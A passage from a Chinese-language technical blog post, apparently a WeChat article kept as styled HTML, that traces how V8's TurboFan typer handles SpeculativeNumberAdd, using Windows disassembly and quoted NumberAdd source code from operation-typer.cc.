20px;overflow-wrap: inherit !important;word-break: inherit !important;">6</span>                                         : f(left, right, typer_);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">7</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">根据上下文，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">f</code>即<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">SpeculativeNumberAdd</code>，但这里我并没有搜到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">SpeculativeNumberAdd</code>函数的声明实现，并且调试单步跟入vs会跑丢提示找不到某些文件，所以这里查看<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">f</code>的函数地址，通过反汇编窗口找到代码如下<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.703601108033241" title="" data-type="png" data-w="722" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=e7e9d63f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzckWA1Pjmycias2HCrj90LicwdQUJqCOmibrrzNvvgdzrq0VXt3RyhtMONw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">从反汇编大概可以看到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">call</code>到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">v8::internal::compiler::OperationTyper::SpeculativeNumberAdd</code>。直接在反汇编断点处查看源码，会发现落到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">src\compiler\typer.cc: 284</code><br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.23564356435643563" title="" data-type="png" data-w="505" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=220bfe26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcicMlAUI8BcM9cXJSqBlIoooHsDuYEbMy4Fo8WqG1MPX1wUUiaGHhgOTA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">原来是通过宏定义的函数，根据宏展开，依旧是找不到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">SpeculativeNumberAdd</code>。所以我们继续在反汇编窗口跟入<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">call</code>的地址，来到如下位置，这里我们就明白了，v8通过拼接的方式声明了<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">SpeculativeNumberAdd</code></p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span>--- F:\Research\chrome2\v8\v8\src\compiler\operation-typer.cc ------------------<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">define</span> SPECULATIVE_NUMBER_BINOP(Name)                         \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>  Type OperationTyper::Speculative##Name(Type lhs, Type rhs) { \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>    lhs = SpeculativeToNumber(lhs);                            \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>    rhs = SpeculativeToNumber(rhs);                            \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>    return Name(lhs, rhs);                                     \<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>  }</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>SPECULATIVE_NUMBER_BINOP(NumberAdd)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3CA0  sub         rsp,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">88</span>h  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3CA7  mov         rax,rdx  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3CAA  mov         r10,qword ptr [__security_cookie (<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">07F</span>FBA886FE08h)]  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3CB1  xor         r10,rsp  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3CB4  mov         qword ptr [rsp+<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">80</span>h],r10  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3CBC  mov         qword ptr [rsp+<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">78</span>h],r8  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3CC1  mov         qword ptr [rsp+<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">70</span>h],r9  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3CC6  mov         qword ptr [rsp+<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">38</span>h],rcx  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">19</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3CCB  mov         rcx,qword ptr [rsp+<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">38</span>h]  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">20</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3CD0  mov         r8,qword ptr [lhs]  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">21</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3CD5  mov         qword ptr [rsp+<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">60</span>h],r8  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">22</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3CDA  mov         r8,qword ptr [rsp+<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">60</span>h]  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">23</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3CDF  mov         qword ptr [rsp+<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">30</span>h],rcx  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">24</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3CE4  lea         r9,[rsp+<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">68</span>h]  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">25</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3CE9  mov         qword ptr [rsp+<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">28</span>h],rdx  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">26</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3CEE  mov         rdx,r9  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">27</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3CF1  mov         qword ptr [rsp+<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">20</span>h],rax  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">28</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3CF6  call        v8::internal::compiler::OperationTyper::SpeculativeToNumber (<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">07F</span>FBA70C7450h)  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">29</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3CFB  mov         rax,qword ptr [rsp+<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">68</span>h]  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">30</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3D00  mov         qword ptr [lhs],rax  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">31</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3D05  mov         rax,qword ptr [rhs]  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">32</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3D0A  mov         qword ptr [rsp+<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">50</span>h],rax  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">33</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3D0F  mov         r8,qword ptr [rsp+<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">50</span>h]  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">34</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3D14  mov         rcx,qword ptr [rsp+<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">30</span>h]  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">35</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3D19  lea         rdx,[rsp+<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">58</span>h]  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">36</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3D1E  call        v8::internal::compiler::OperationTyper::SpeculativeToNumber (<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">07F</span>FBA70C7450h)  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">37</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3D23  mov         rax,qword ptr [rsp+<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">58</span>h]  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">38</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3D28  mov         qword ptr [rhs],rax  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">39</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3D2D  mov         rax,qword ptr [rhs]  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">40</span><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">00007F</span>FBA70C3D32  mov         qword ptr [rsp+<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">48</span>h],rax<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">通过上面的代码，我们可以知道，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">SpeculativeNumberAdd</code>继续调到了<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NumberAdd</code>，根据如下代码行31调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">AddRange()</code>添加<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">range</code></p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// src\compiler\operation-typer.cc: 578</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>Type OperationTyper::NumberAdd(Type lhs, Type rhs) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>  DCHECK(lhs.Is(Type::Number()));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>  DCHECK(rhs.Is(Type::Number()));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (lhs.IsNone() || rhs.IsNone()) <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> Type::None();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Addition can return NaN if either input can be NaN or we try to compute</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// the sum of two infinities of opposite sign.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">bool</span> maybe_nan = lhs.Maybe(Type::NaN()) || rhs.Maybe(Type::NaN());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Addition can yield minus zero only if both inputs can be minus zero.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">bool</span> maybe_minuszero = <span style="font-size: inherit;line-height: inherit;color: rgb(86, 182, 194);overflow-wrap: inherit !important;word-break: inherit !important;">true</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (lhs.Maybe(Type::MinusZero())) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span>    lhs = Type::Union(lhs, cache_.kSingletonZero, zone());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span>  } <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">else</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span>    maybe_minuszero = <span style="font-size: inherit;line-height: inherit;color: rgb(86, 182, 194);overflow-wrap: inherit !important;word-break: inherit !important;">false</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span>  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">19</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (rhs.Maybe(Type::MinusZero())) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">20</span>    rhs = Type::Union(rhs, cache_.kSingletonZero, zone());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">21</span>  } <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">else</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">22</span>    maybe_minuszero = <span style="font-size: inherit;line-height: inherit;color: rgb(86, 182, 194);overflow-wrap: inherit !important;word-break: inherit !important;">false</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">23</span>  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">24</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">25</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// We can give more precise types for integers.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">26</span>  Type type = Type::None();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">27</span>  lhs = Type::Intersect(lhs, Type::PlainNumber(), zone());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">28</span>  rhs = Type::Intersect(rhs, Type::PlainNumber(), zone());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">29</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (!lhs.IsNone() &amp;&amp; !rhs.IsNone()) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">30</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (lhs.Is(cache_.kInteger) &amp;&amp; rhs.Is(cache_.kInteger)) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">31</span>      type = AddRanger(lhs.Min(), lhs.Max(), rhs.Min(), rhs.Max());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">32</span>    } <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">else</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">33</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> ((lhs.Maybe(minus_infinity_) &amp;&amp; rhs.Maybe(infinity_)) ||<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 